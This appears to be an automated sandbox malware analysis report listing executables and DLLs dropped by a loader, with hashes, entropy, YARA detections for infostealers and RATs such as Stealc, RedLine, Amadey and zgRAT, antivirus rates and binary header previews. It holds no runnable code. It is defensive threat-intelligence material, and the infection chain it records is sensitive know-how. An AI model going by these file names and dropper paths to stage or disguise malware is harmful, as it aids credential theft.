Process:	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe
File Type:	PE32 executable (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	419328
Entropy (8bit):	6.1177703153619465
Encrypted:	false
SSDEEP:	6144:hVPD7/k5hjsld/TWx3EY9lwXtaW1G4kM0u0b2KrqBDW:hVPHXM31SC4kVu0rGB6
MD5:	A21700718C70EC5E787AD373CB72A757
SHA1:	027554AB5FF3245E7617F3B83D6548BF7919F92E
SHA-256:	87E639ECC7704CB5E29F1EBB1D8ADE3AE863AAA2505A37B28F2D45121DA500C6
SHA-512:	EA292A5442D9FE536E650A2BC5142DD3AEF79C66930243897E0E87C57915F0A54E45E03E58DAFFB473F85FE10B963D4670050BFF5AB3F91121D21D463E25659B
Malicious:	true
Yara Hits:	Rule: JoeSecurity_zgRAT_1, Description: Yara detected zgRAT, Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\penis[1].exe, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\penis[1].exe, Author: Joe Security Rule: MALWARE_Win_zgRAT, Description: Detects zgRAT, Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\penis[1].exe, Author: ditekSHen
Antivirus:	Antivirus: ReversingLabs, Detection: 33%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....................0..J...........h... ........@.. ....................................@.................................`h..K.................................................................................... ............... ..H............text....H... ...J.................. ..`.rsrc................L..............@..@.reloc...............d..............@..B.................h......H........[..................................................................(....(.....0...........s........~....%:....&~......&...s....%.....(...+o.....8[....o...............%..F~2...(.....%..G~2...(.....%..H~2...(.....%..e~2...(.....~3...(.......o......8......(......s.......s........~....}....~...........s....(....o....}......{.....I~2...(....o........9......I~2...(.......8C........~2...(....o....:......{....~4...(....8......{....~5...(.........(...........9........o.....

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\random[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1926144
Entropy (8bit):	7.951254702115289
Encrypted:	false
SSDEEP:	24576:A9mBCOfharwewL2KB+2BVVFatyb4ckcv71pSosbwdOe6KFOzGnqF33l/KWLHRaz:AkBv5lBxVFcy8cl71FsbZea3liKRa
MD5:	5C36978A50EB3666B9E3B95100082DC7
SHA1:	0A3A01167591748E804BCEDD19F65B14994938B8
SHA-256:	3AB1C1B8B8A1990896AE224EF0989E5DCBEB03E01CA8AC3665DA8A438DED8F50
SHA-512:	75F78117E1E14B69CE4D3717DC0479420CCAF30D58B99044235D1882C66128C9C1D5DA4BBE62020181497D060B8CC58B0288EDFC1F317FD19DFC7D7CA485F763
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C.........................PE..L....V.f.............................PL...........@...........................L.....$m....@.................................W...k............................7L.............................T7L..................................................... . ............................@....rsrc...............................@....idata ............................@... .@+.........................@...xmjcxhmw.P....1..J..................@...lqsidhwe.....@L......>..............@....taggant.0...PL.."...B..............@...................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\softokn3[1].dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\vcruntime140[1].dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\RCIIZOAM\LummaC222222[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	360448
Entropy (8bit):	6.667690093536603
Encrypted:	false
SSDEEP:	6144:yEIbJdhhk012D9kEsrwRdvwoShfvM4MH0RoeAcGho33vXvIKgI5TdFaA51TIrxLD:yEIbJvhk0azddWtyA51C09ssEN8mhGfp
MD5:	2F1D09F64218FFFE7243A8B44345B27E
SHA1:	72553E1B3A759C17F54E7B568F39B3F8F1B1CDBE
SHA-256:	4A553C39728410EB0EBD5E530FC47EF1BDF4B11848A69889E8301974FC26CDE2
SHA-512:	5871E2925CA8375F3C3CE368C05EB67796E1FBEC80649D3CC9C39B57EE33F46476D38D3EA8335E2F5518C79F27411A568209F9F6EF38A56650C7436BBAA3F909
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 66%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L...<..f..........................................@..........................@............@.....................................x................................H...................................................................................text.............................. ..`.rdata...).......*..................@..@.data...X........^..................@....reloc...H.......J...6..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\RCIIZOAM\cccc2[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe
File Type:	PE32 executable (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	367616
Entropy (8bit):	7.989212623944353
Encrypted:	false
SSDEEP:	6144:A9qV5P6oqa2R9xVnirCMSaMp1iXh7Dvnj+c60jNyRBEKjbXIEloBTOZu:AOB2Rx8/4p1ix/njn9knbvlo
MD5:	6B470F7251AA9C14D7DAEA8F6446E217
SHA1:	A256C54D4DD7E0A7A1582D8FDFEF5807BC3C4AF4
SHA-256:	8B9097B795D42C49C3B2C560714226361671A3F1D711FAA9AEAEE20E22E7095F
SHA-512:	FDC553C9D2FF19343DD99B0B34C875752DF4FA0CBD494096AEB51D859BD102448F1A5043A53A808045AE52077F180546A134B1AA69DB4DC04AFF2610FADEACA4
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 79%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......f............................>.... ........@.. ....................................`....................................S.................................................................................... ............... ..H............text...D.... ...................... ..`.rsrc...............................@..@.reloc..............................@..B................ .......H......................................................................_..d...K...Sk..+G....Q............J.nj.I.k..)..E&E.8_.b...$..........(#?o8.....b.9....~V.4..v1.uT.0....^...Lb........;...5.H..^.1.\|<..`y54...f.~..Y,.S,..Wp.S[6....Nk.E..^...i&........?on....~!.6A...A....J..n..x.T.H.a......z...c.W...n.g#u.>.A...6K.qcR.9.L..;.z.s<...j.\|.......I:.w..H$...z.]MH..ChD.y.>.o..l.....MA]~......o\Z.1.D.#Khy..Ov.EMA9Y...A.e.8..E...2..&_.......V.H.I...D#.......#M.Lq

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\RCIIZOAM\stealc_default2[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	192000
Entropy (8bit):	6.395265378509869
Encrypted:	false
SSDEEP:	3072:QJlVTFj5qDao8KaxfE54HnnGSail+bOX8bX60UFHJKa:QJP5j5Ka2aOanGSabY860UFpKa
MD5:	7A02AA17200AEAC25A375F290A4B4C95
SHA1:	7CC94CA64268A9A9451FB6B682BE42374AFC22FD
SHA-256:	836799FD760EBA25E15A55C75C50B977945C557065A708317E00F2C8F965339E
SHA-512:	F6EBFE7E087AA354722CEA3FDDD99B1883A862FB92BB5A5A86782EA846A1BFF022AB7DB4397930BCABAA05CB3D817DE3A89331D41A565BC1DA737F2C5E3720B6
Malicious:	true
Yara Hits:	Rule: JoeSecurity_PowershellDownloadAndExecute, Description: Yara detected Powershell download and execute, Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\RCIIZOAM\stealc_default2[1].exe, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\RCIIZOAM\stealc_default2[1].exe, Author: Joe Security
Antivirus:	Antivirus: ReversingLabs, Detection: 76%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........b...............u^......uk......u_......{v.....fz.......{f..............uZ......uh.....Rich............PE..L......f.....................B"......d............@..........................0$...........@....................................<.............................#..$...................................................................................text...J........................... ....rdata..............................@..@.data....+!.........................@....reloc..*D....#..F..................@..B........................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\054fdc5f70\Hkbsse.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\1000005001\Nework.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	425984
Entropy (8bit):	6.513416731775012
Encrypted:	false
SSDEEP:	12288:ISqMakU3v+GYLWIjD9dSbvBG5u2uQjdQco:jq53v+G4Wwub8Ljaco
MD5:	F5D7B79EE6B6DA6B50E536030BCC3B59
SHA1:	751B555A8EEDE96D55395290F60ADC43B28BA5E2
SHA-256:	2F1AFF28961BA0CE85EA0E35B8936BC387F84F459A4A1D63D964CE79E34B8459
SHA-512:	532B17CD2A6AC5172B1DDBA1E63EDD51AB53A4527204415241E3A78E8FFEB9728071BDE5AE1EEFABEFD2627F00963F8A5458668CD7B8DF041C8683252FF56B46
Malicious:	true
Yara Hits:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: C:\Users\user\AppData\Local\Temp\054fdc5f70\Hkbsse.exe, Author: Joe Security
Antivirus:	Antivirus: ReversingLabs, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........PJ.r>..r>..r>...=..r>...;.(r>.].:..r>.].=..r>.].;..r>...:..r>...?..r>..r?.^r>...7..r>......r>...<..r>.Rich.r>.................PE..L......f............................E.............@.......................................@.................................D...................................<L......8...............................@............................................text............................... ..`.rdata..8...........................@..@.data...\|f... ...4..................@....rsrc................0..............@..@.reloc..<L.......N...2..............@..B........................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1000002001\gold.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe
File Type:	PE32 executable (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	320000
Entropy (8bit):	7.989223789389698
Encrypted:	false
SSDEEP:	6144:mmAUwI0Q3r6UBqC7e8O5rvH9MMoBfOWf6dX/mY9Row3:mmANIL3OUBqC7e15M/6d/Mw3
MD5:	389881B424CF4D7EC66DE13F01C7232A
SHA1:	D3BC5A793C1B8910E1ECC762B69B3866E4C5BA78
SHA-256:	9D1211B3869CA43840B7DA1677B257AD37521AAB47719C6FCFE343121760B746
SHA-512:	2B9517D5D9D972E8754A08863A29E3D3E3CFDE58E20D433C85546C2298AAD50AC8B069CAFD5ABB3C86E24263D662C6E1EA23C0745A2668DFD215DDBDFBD1AB96
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...g..f............................^.... ........@.. .......................@............`.....................................K............................ ....................................................... ............... ..H............text...d.... ...................... ..`.rsrc...............................@..@.reloc....... ......................@..B................@.......H.......h...p...........................................................>I.....=NW...S.(..`}C..P?2...h..l.<A.I.....CN..../.u..T.......@.$.0..r..."_8)L...s.YQ..%./?...L..7e&[.z.....*..j..8J...sn.=..O...\|...n.....gUDG..HK....R.T...1Lz.....F..^l.y.{J..B\|...`.oH.3.....VN..f.}J.../.?.......4nE.S....3A..r.M..qf..{.....!IU../.M.?>......0.e..X.f...i.Ui....`.w..fa..Lwi.VM.i.4...i..J...p....s.]....)l.......0.i$\|..s....+.?..^(b\|zcb.N......v.dG.e..]. ..".<x.n...h[.Y

C:\Users\user\AppData\Local\Temp\1000004001\12dsvc.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe
File Type:	PE32 executable (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	903168
Entropy (8bit):	7.997700688704897
Encrypted:	true
SSDEEP:	24576:9YroRg0QD2ZDvpSgezC2pSSqb9VAMsGm1ykciQgh75tT:9YroRmgSPC2MSpMsGmGiQg95t
MD5:	84263AB03B0A0F2B51CC11B93EC49C9F
SHA1:	E6457EB0E0131BEC70A2FD4D4A943314F0BD28D4
SHA-256:	7D6E4E01C452DD502361640EE095E2BEE35E3F55FD11EDC9E94C3580D2C132B5
SHA-512:	DB35A02345B5166077E300524675C523A8B4082FA62FC151C0797141348CAE5E173EEAEC5AD1E95556E048EA6ED34A78B90B1184420557C53CD91F351417EBB2
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 68%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....d.f................................. ........@.. ....................... ............`.....................................W...................................\................................................ ............... ..H............text........ ...................... ..`.rsrc...............................@..@.reloc..............................@..B........................H........................................................................k...(.Q...GQL..q.....Nqr.\.^v.E....<..@=...)!b.=qQ...B.c.....<.q.i. A.QE,T..~f.X3.....~..$.).(8t.........r.c@...i.2.?.-.8..-.....:...'I.`D...?/3?...WP.'...XLz....b.\| 2....*...\........B....Hg$3p.\|+s..K....Z.m.`....w..w.i.Vt..n.LL...d.`a.O..T.......#k.0D@d..8p.{.?Z..-..\W...,.(..P..&`L..?Z..J,y.:...9rY..........D;S.;..3..{..c...,Q........+bN.U.../E..O[....[..W...=..r..x.'...q.S".y.

C:\Users\user\AppData\Local\Temp\1000005001\Nework.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	425984
Entropy (8bit):	6.513416731775012
Encrypted:	false
SSDEEP:	12288:ISqMakU3v+GYLWIjD9dSbvBG5u2uQjdQco:jq53v+G4Wwub8Ljaco
MD5:	F5D7B79EE6B6DA6B50E536030BCC3B59
SHA1:	751B555A8EEDE96D55395290F60ADC43B28BA5E2
SHA-256:	2F1AFF28961BA0CE85EA0E35B8936BC387F84F459A4A1D63D964CE79E34B8459
SHA-512:	532B17CD2A6AC5172B1DDBA1E63EDD51AB53A4527204415241E3A78E8FFEB9728071BDE5AE1EEFABEFD2627F00963F8A5458668CD7B8DF041C8683252FF56B46
Malicious:	true
Yara Hits:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: C:\Users\user\AppData\Local\Temp\1000005001\Nework.exe, Author: Joe Security
Antivirus:	Antivirus: ReversingLabs, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........PJ.r>..r>..r>...=..r>...;.(r>.].:..r>.].=..r>.].;..r>...:..r>...?..r>..r?.^r>...7..r>......r>...<..r>.Rich.r>.................PE..L......f............................E.............@.......................................@.................................D...................................<L......8...............................@............................................text............................... ..`.rdata..8...........................@..@.data...\|f... ...4..................@....rsrc................0..............@..@.reloc..<L.......N...2..............@..B........................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	192000
Entropy (8bit):	6.395265378509869
Encrypted:	false
SSDEEP:	3072:QJlVTFj5qDao8KaxfE54HnnGSail+bOX8bX60UFHJKa:QJP5j5Ka2aOanGSabY860UFpKa
MD5:	7A02AA17200AEAC25A375F290A4B4C95
SHA1:	7CC94CA64268A9A9451FB6B682BE42374AFC22FD
SHA-256:	836799FD760EBA25E15A55C75C50B977945C557065A708317E00F2C8F965339E
SHA-512:	F6EBFE7E087AA354722CEA3FDDD99B1883A862FB92BB5A5A86782EA846A1BFF022AB7DB4397930BCABAA05CB3D817DE3A89331D41A565BC1DA737F2C5E3720B6
Malicious:	true
Yara Hits:	Rule: JoeSecurity_PowershellDownloadAndExecute, Description: Yara detected Powershell download and execute, Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe, Author: Joe Security
Antivirus:	Antivirus: ReversingLabs, Detection: 76%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........b...............u^......uk......u_......{v.....fz.......{f..............uZ......uh.....Rich............PE..L......f.....................B"......d............@..........................0$...........@....................................<.............................#..$...................................................................................text...J........................... ....rdata..............................@..@.data....+!.........................@....reloc..*D....#..F..................@..B........................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1000191001\needmoney.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	4278784
Entropy (8bit):	7.1283818624071476
Encrypted:	false
SSDEEP:	98304:if7X0ZueTTPs6deIF+iHtcbBt2VSFjUCaZ:8bPeVdeIMiHmbeVS
MD5:	7FA5C660D124162C405984D14042506F
SHA1:	69F0DFF06FF1911B97A2A0AA4CA9046B722C6B2F
SHA-256:	FD3EDFAFF77DD969E3E0D086495E4C742D00E111DF9F935ED61DFBA8392584B2
SHA-512:	D50848ADBFE75F509414ACC97096DAD191AE4CEF54752BDDDCB227FFC0F59BFD2770561E7B3C2A14F4A1423215F05847206AD5C242C7FD5B0655EDF513B22F6C
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 96%
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B*......................8.....L.............@...........................A..................@..............................x"... ....7..................`..@............................P......................................................CODE................................ ..`DATA.... -..........................@...BSS......................................idata..x".......$..................@....tls.........@...........................rdata.......P......................@..P.reloc..@....`......................@..P.rsrc.....7.. ....7.................@..P..............A......JA.............@..P........................................................................................................................................

C:\Users\user\AppData\Local\Temp\1000254001\penis.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe
File Type:	PE32 executable (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	419328
Entropy (8bit):	6.1177703153619465
Encrypted:	false
SSDEEP:	6144:hVPD7/k5hjsld/TWx3EY9lwXtaW1G4kM0u0b2KrqBDW:hVPHXM31SC4kVu0rGB6
MD5:	A21700718C70EC5E787AD373CB72A757
SHA1:	027554AB5FF3245E7617F3B83D6548BF7919F92E
SHA-256:	87E639ECC7704CB5E29F1EBB1D8ADE3AE863AAA2505A37B28F2D45121DA500C6
SHA-512:	EA292A5442D9FE536E650A2BC5142DD3AEF79C66930243897E0E87C57915F0A54E45E03E58DAFFB473F85FE10B963D4670050BFF5AB3F91121D21D463E25659B
Malicious:	true
Yara Hits:	Rule: JoeSecurity_zgRAT_1, Description: Yara detected zgRAT, Source: C:\Users\user\AppData\Local\Temp\1000254001\penis.exe, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: C:\Users\user\AppData\Local\Temp\1000254001\penis.exe, Author: Joe Security Rule: MALWARE_Win_zgRAT, Description: Detects zgRAT, Source: C:\Users\user\AppData\Local\Temp\1000254001\penis.exe, Author: ditekSHen
Antivirus:	Antivirus: ReversingLabs, Detection: 33%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....................0..J...........h... ........@.. ....................................@.................................`h..K.................................................................................... ............... ..H............text....H... ...J.................. ..`.rsrc................L..............@..@.reloc...............d..............@..B.................h......H........[..................................................................(....(.....0...........s........~....%:....&~......&...s....%.....(...+o.....8[....o...............%..F~2...(.....%..G~2...(.....%..H~2...(.....%..e~2...(.....~3...(.......o......8......(......s.......s........~....}....~...........s....(....o....}......{.....I~2...(....o........9......I~2...(.......8C........~2...(....o....:......{....~4...(....8......{....~5...(.........(...........9........o.....

C:\Users\user\AppData\Local\Temp\1000290001\crypted.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe
File Type:	PE32 executable (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	321536
Entropy (8bit):	7.984064781404801
Encrypted:	false
SSDEEP:	6144:/6ZNaeEuexVOkKu/A9UZMOqMVr57KLMLPQ5uRXg6hUm8:/BvOkHPEUsYLeIXgDm8
MD5:	FF5AFED0A8B802D74AF1C1422C720446
SHA1:	7135ACFA641A873CB0C4C37AFC49266BFEEC91D8
SHA-256:	17AC37B4946539FA7FA68B12BD80946D340497A7971802B5848830AD99EA1E10
SHA-512:	11724D26E11B3146E0FC947C06C59C004C015DE0AFEA24EC28A4EB8145FCD51E9B70007E17621C83F406D9AEB7CD96601245671D41C3FCC88A27C33BD7CF55AC
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....&.f................................. ........@.. .......................@............`.....................................W............................ ......\|................................................ ............... ..H............text........ ...................... ..`.rsrc...............................@..@.reloc....... ......................@..B........................H..........................................................................h7....c73..w..V)J.:..a.W'.=.\|...Q&.....p....IIoO...g...Q...P.~CM...v@.P..Sl....a=..:u?ED."..Jp....2..r.B..H...?.v..0]2.....>..F.}.s6..N...h.#.....Z.6..g^gu.aW&.2.n?.v...S...}.!.^..E.h.dp.....fc4{../O..I....v.Q,U...>xK..c.D.../..E7...T...t......y...f..SC....).F.m."2...Ms.3"KL.e..zc.Bb.-.l.\......TYQ..B!.......?.......e]4...../(5......5...4.......'.[.g$.....gb;e..Q..r.Ge(a<..qC.J

C:\Users\user\AppData\Local\Temp\1000314001\LummaC222222.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	360448
Entropy (8bit):	6.667690093536603
Encrypted:	false
SSDEEP:	6144:yEIbJdhhk012D9kEsrwRdvwoShfvM4MH0RoeAcGho33vXvIKgI5TdFaA51TIrxLD:yEIbJvhk0azddWtyA51C09ssEN8mhGfp
MD5:	2F1D09F64218FFFE7243A8B44345B27E
SHA1:	72553E1B3A759C17F54E7B568F39B3F8F1B1CDBE
SHA-256:	4A553C39728410EB0EBD5E530FC47EF1BDF4B11848A69889E8301974FC26CDE2
SHA-512:	5871E2925CA8375F3C3CE368C05EB67796E1FBEC80649D3CC9C39B57EE33F46476D38D3EA8335E2F5518C79F27411A568209F9F6EF38A56650C7436BBAA3F909
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 66%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L...<..f..........................................@..........................@............@.....................................x................................H...................................................................................text.............................. ..`.rdata...).......*..................@..@.data...X........^..................@....reloc...H.......J...6..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1000322001\newbundle2.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	311296
Entropy (8bit):	5.082545442352462
Encrypted:	false
SSDEEP:	3072:Eq6EgY6iArUjOvWUJwPYT8QADFKoRJTA+tJSiK1cZqf7D34leqiOLibBOT:vqY6iULwP/xnRJTAKJ81cZqf7DIvL
MD5:	58E8B2EB19704C5A59350D4FF92E5AB6
SHA1:	171FC96DDA05E7D275EC42840746258217D9CAF0
SHA-256:	07D4B7768E13D79AC5F05F81167B29BB6FBF97828A289D8D11EEC38939846834
SHA-512:	E7655762C5F2D10EC246D11F82D437A2717AD05BE847B5E0FD055E3241CAACA85430F424055B343E3A44C90D76A0BA07A6913C2208F374F59B61F8AA4477889F
Malicious:	true
Yara Hits:	Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: C:\Users\user\AppData\Local\Temp\1000322001\newbundle2.exe, Author: Joe Security
Antivirus:	Antivirus: ReversingLabs, Detection: 88%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....................0................. ... ....@.. ....................... ............@.....................................O.... ..............................h................................................ ............... ..H............text........ ...................... ..`.rsrc........ ......................@..@.reloc..............................@..B........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1000342001\rstxdhuj.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	986112
Entropy (8bit):	7.987134427472388
Encrypted:	false
SSDEEP:	24576:6MGVJ/Oap+Bh45LEwaV1QghDHm5GQTSmGg:6NJ/jpi5waVhjm5GQ2m7
MD5:	1EF39C8BC5799AA381FE093A1F2D532A
SHA1:	57EABB02A7C43C9682988227DD470734CC75EDB2
SHA-256:	0CCED5B50789FCA3AD4B2C151B798363D712DA04C377BD704DCEF4898E66B2B4
SHA-512:	13A9C267C4CEB2BD176F1339FAA035FFEB08936DEEEB4E38252EA43CFE487EA1C1876E4CC2A965548E767AF02805A1DA62885E6538DA056BE0C6FAE33B637682
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 92%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...'1.f.............................!... ...@....@.. ....................................`.................................(!..W....@..`....................`....................................................... ............... ..H............text........ ...................... ..`.rsrc...`....@......................@..@.reloc.......`......................@..B................d!......H.......P....G...........U.............................................."..(.......>..(.....oV...&.s..........0..........(.........(....o....3.(....-..j~....%..(....~....o.......j@8...(......s.......o........&..o ...s!.........o".....,...i-....,...o#....($.....o%...o&...o#........(....(......(..........c.o'.......o'........c.o'.......c.o'.......o'........c.o'........c.o'........c.o'....o(......j....+)....o)...nX.....bX.....da.....o*......X......3....bX.....da.....bX....!.

C:\Users\user\AppData\Local\Temp\1000349001\cccc2.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe
File Type:	PE32 executable (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	367616
Entropy (8bit):	7.989212623944353
Encrypted:	false
SSDEEP:	6144:A9qV5P6oqa2R9xVnirCMSaMp1iXh7Dvnj+c60jNyRBEKjbXIEloBTOZu:AOB2Rx8/4p1ix/njn9knbvlo
MD5:	6B470F7251AA9C14D7DAEA8F6446E217
SHA1:	A256C54D4DD7E0A7A1582D8FDFEF5807BC3C4AF4
SHA-256:	8B9097B795D42C49C3B2C560714226361671A3F1D711FAA9AEAEE20E22E7095F
SHA-512:	FDC553C9D2FF19343DD99B0B34C875752DF4FA0CBD494096AEB51D859BD102448F1A5043A53A808045AE52077F180546A134B1AA69DB4DC04AFF2610FADEACA4
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 79%
